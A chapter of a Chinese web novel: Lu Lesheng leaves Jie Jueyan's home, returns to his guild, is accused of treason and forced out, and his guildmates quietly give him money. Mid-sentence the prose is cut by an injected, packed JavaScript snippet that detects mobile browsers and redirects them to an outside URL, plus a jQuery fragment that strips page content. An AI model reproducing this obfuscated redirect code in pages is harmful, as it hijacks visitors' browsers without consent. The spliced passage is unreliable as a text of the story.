经过三天的相处,解决焰已经把靠近小天使的方法练得炉火纯青。
要问方法是什么?
——天下武功,唯快不破。
这三天跑下来,解决焰自觉小腿肌肉都发达了不少。
正巧又到了午饭时间,解决焰下楼骚扰了一番杜大肚,靠刷脸获得了午饭。
因为上回的任务报酬并没有拿到。
小姑娘腿短,再加上那晚的天格外的黑,一路摸回了卢了笙他们搭的帐篷里,心惊胆颤地睡了一夜,第二天傍晚才回到联盟基地。
几乎是一脚刚刚踏进家门,汪恬就被汪旭泽拎起来接受责问:“你去哪里了?一晚上都不在家,打电话也不接,去问你的那群小姐妹,没一个知道你的下落!你不知道外面有多危险吗?怎么就胆子这么大!这么爱往外面跑的?”
汪恬独自一人在外面待了一晚上,本来就心神不定,被汪旭泽这么一说,顿时就感到了委屈,一下就忘了路上反复念了几十遍的解决焰的嘱咐忘了个干净,扑进父亲的怀里大哭了一阵。
汪旭泽何尝不是担忧得一夜未眠,看自己的孩子吓成这副模样,也不再多问,等汪恬哭累了,在他怀里睡了过去,把汪恬抱回房间里睡觉,就当作这事翻篇了。
也不算完全的翻篇。因为汪恬要被关小半个月的禁闭作为夜不归宿的惩罚。
关了两天,小姑年终于良心发现记起了外头还有个生死不明的解决焰,吵着闹着要家里的保姆带她去找汪旭泽说事情。可保姆只当她是在找理由出去放风,有鉴于这次的事情太过严重,狠了狠心,拒绝了小姑娘的请求。
是以刚因为大楼坍塌而忙得焦头烂额的汪旭泽好容易得了点空,就被解决焰告知了不省心的儿子的消息,急急忙忙地领着人出门接回儿子,又被偷偷溜出来的闺女烦得心口疼。
好不容易跟闺女解释清楚了解决焰已经回来了的事情,紧接着又要去照顾儿子。
汪旭泽头疼得按了按太阳穴,再次给带着大女儿亲自外出去寻找儿子踪迹的妻子打了个电话。电话以没有信号告终,汪旭泽郁闷地在工作和家庭之间来回跑动,狠狠地经历了一波世间的险恶。
总之解决焰现在很缺钱,又开始了赊账吃饭的生活,还是一顿欠两人份的模式。
解决焰飞快地解决了自己的那份午饭,再飞快地提起卢了笙的那份上楼。
最近卢了笙学会了锁门。
根据解决焰的推测,大概是小天使无聊了,又因为毒素没有完全清除,不能走太远,就只能在房间里慢慢绕几圈,走不动了就往床上一躺,直接休息。可解决焰的屋子有限,小天使在房间里游荡的时候难免会撞上解决焰在附近活动的时候,两人的距离总会难以避免的有几个瞬间缩短到三米的安全距离之内。
所以卢了笙把门关上了。
但这毕竟是解决焰自己家,长期一个人居住自由惯了,解决焰没有敲门的习惯,有几次送水进来正好卢了笙游荡到了门边,就这么被一脚踹得飞出了门。次数多了,卢了笙干脆就在游荡之前把门锁上,非常有效的防止了解决焰无故受伤。
这会儿卢了笙的门又关上了。解决焰挺喜欢这样的。虽然自己看不见,但事实上确实可能存在他们两人的距离在三米以内的几秒。
反正那头卢了笙也看不见门外,解决焰侧头把耳朵贴上门板,屏息凝视,试图去捕捉小天使的行动轨迹。
嗯?
解决焰换了一侧去听。
嗯……
里面怎么会一点动静都没有?
解决焰直起身子,试探着去抓门把手,往下一用力。
小天使……不见了。
解决焰走进房间,在床头柜上发现了写着字的白纸:医生说毒解得差不多了,我先回去了,这些天多谢照顾,过些日子会把这些天的花销给你寄过来的。
解决焰非常后悔。自己为什么要从杜大肚那里顺这两把笔上来,不然好说歹说也能得到小天使的当面告别吧!
后悔之余,解决焰把手里的饭盒搁置在床边,将自己扔进了沾满了卢了笙气息的床铺:“要是加入了小天使的公会,见面的机会是不是会多一些?”
这边卢了笙回到了公会,一开门,里面的气氛沉闷得可怕。其余四人都在,见到卢了笙纷纷停下了手上的工作,远远地问了几句卢了笙的情况,听闻卢了笙这几天过得不错,都吐了一口气,放下心来。
卢了笙走进去,想往常一样,要把门关上,打算上楼回自己的房间取钱托人给解决焰送过去。
可门才合上一半,闻书就出声阻止了他剩余的动作:“小笙。你……”闻书有些讲不太下去,左右看了看另外三人,无一不是低着头沉默不语的。更有沈吟苓,眼睛里已经噙满了泪水。
卢了笙不明就里,但见气氛不对劲到了极点,在闻书的几次欲言又止下,率先开了口:“怎么了?”
闻书深吸一口气,伴着沈吟苓的眼泪落到地板上的声音说道:“有人举报你跟自由派人员勾结。昨天、昨天上面派人来查你房间,从你的房间里,搜、搜出了一份重要文件。”闻书闭了闭眼睛,觉得连呼吸都有些困难,“卢了笙,你来我们公会也有一年多了,我们也都知道你虽然看着冷了些,但有事情都会冲在前面。这一年来,我们受了你不少照顾,也相信你不会是叛徒。但是、但是……”
闻书再也说不下去了,转过身去抹眼泪。
而从头到尾一直站在角落没有出声的安武在这时说话了:“文件都搜出来了!还有什么好说的!”他的声音大得仿佛要震破卢了笙的耳膜,“怪不得你老是窝在房间里!庆典也不出门,过节也不出门,小任务找你你也不出门,倒是一有要出联盟的任务就答应得飞快,感情就是在捣鼓这些是吧!联盟到底哪里不好了?你在联盟呆了这么久,也该知道联盟的好处了,到底还有哪里让你不满意?一定要这么费心费力地去当叛徒!”
安武还要说话,被钟樊拦了下来堵住了嘴。
卢了笙手足无措地站在原地,连反驳都不会,心里还惦记要还解决焰钱,张嘴轻声问:“那我还能回房间吗?”
钟樊面色沉重:“不能了。但因为没有搜查到你跟自由派联系的证据,暂时限制了你的活动范围,连同你的所有资产一并被冻结了。上面……还要求你退会,不能再参与一切需要外出的任务。”
“可是……”卢了笙朝楼上自己的房间看去,“退会
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15775933|174724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了我就没有地方住了。”
钟樊跟刚刚擦干泪痕的沈吟苓对视一眼,把跟闻书一块凑出来的装着钱的信封放到桌子上:“这些是我们给你凑的钱,不多。但够你去租一个安静一点的房子住了。虽然上面不让你外出做任务,但我们帮你问了,联盟内部的小任务还是可以做的。反正你要是缺钱……我是估计你不会来求组我们的,但你要记得,实在缺钱还可以来找我们借。就这样吧。”
钟樊把信封往卢了笙那边推了推,一下没压住安武,被他给挣脱出来了。
安武一把抢过信封,把信封拦腰扯成两半:“你们还搞不清楚吗?他是叛徒,叛徒!我们公会都因为他差点解散了!你们还敢借钱给他!诚心想要这个公会解散是吧!”
钟樊皱着眉头抢过信封,怕安武又发疯,对他们好不容易凑出来的钱做什么,心里一急,便没想那么多,将信封给芦了笙抛了过去。
钞票从信封中间的裂缝中洋洋洒洒地飘了满地,钟樊只来得及按住安武,看见还站在原地有些不知所措的芦了笙,心里发堵:“我,我没想那么多,不是故意的。你先走吧,钱我回头整理好了给你送过去,行吗?”
上赶着给人家送钱还一副孙子样。钟樊在心里唾弃着自己的傻样,又怕芦了笙真的不收钱,一个人安安静静的在外头流浪,饿了不会说,冷了也不会说,就默默地受着,既让人可怜,又让人生气。
闻书和沈吟苓不敢耽误,一边俯下身子去捡地上的钞票,一边分心去关注芦了笙的情况。
一张钞票卡进了桌子腿缝里,沈吟苓试了好几次也没能成功拿出来,只好无奈地向旁边的闻书求助。
闻书过来试了试,变换了几个角度也无果,把手里的几张钞票往沈吟苓手上塞,打算来硬的。
结果一用力,闻书跟着钞票后仰而去,脑袋前方落下来一声抱歉。
是芦了笙搬起了桌子。
沈吟苓和闻书一道往上看去,看着芦了笙轻轻放下了桌子,露出手上拿着的一小叠钞票,眼泪不由得又蓄满了眼眶。
芦了笙朝他们两个伸出手,沈吟苓与闻书都默契地捏着钞票的一端,把钞票放到芦了笙手里。
“谢谢你们,钱我收下了。会还给你们的。”芦了笙双手护着钞票在桌上磕了磕,把钞票码起,然后整整齐齐地收进衣服里侧的口袋,冲他们深深鞠了个躬,过后就离开了。
钟樊、闻书、沈吟苓三人互相看了又看。
昨晚一夜没睡就为了研究“怎么在不触碰芦了笙的情况下把钱塞进芦了笙的口袋里”的沈吟苓有些不确定地问道:“他、他收下了对吧?”
钟樊迟疑了一下,看了眼关上了的门,冲沈吟苓点点头。
“太好了,呜……不知道为什么,总有种儿子长大了的错觉呜……”沈吟苓不停地抹开这挡住视线的泪水,抽噎道。
闻书也抽泣着应道:“我,我也有这种感觉……”
钟樊放开安武,蹲下来加入了他们:“我也……”
安武看着这三人气不打一出来,转身上楼,回到自己房间去。
“砰”的一声,安武关上了门,伴着楼下三个抱作一团的低低哭泣声,回荡在公会的楼中。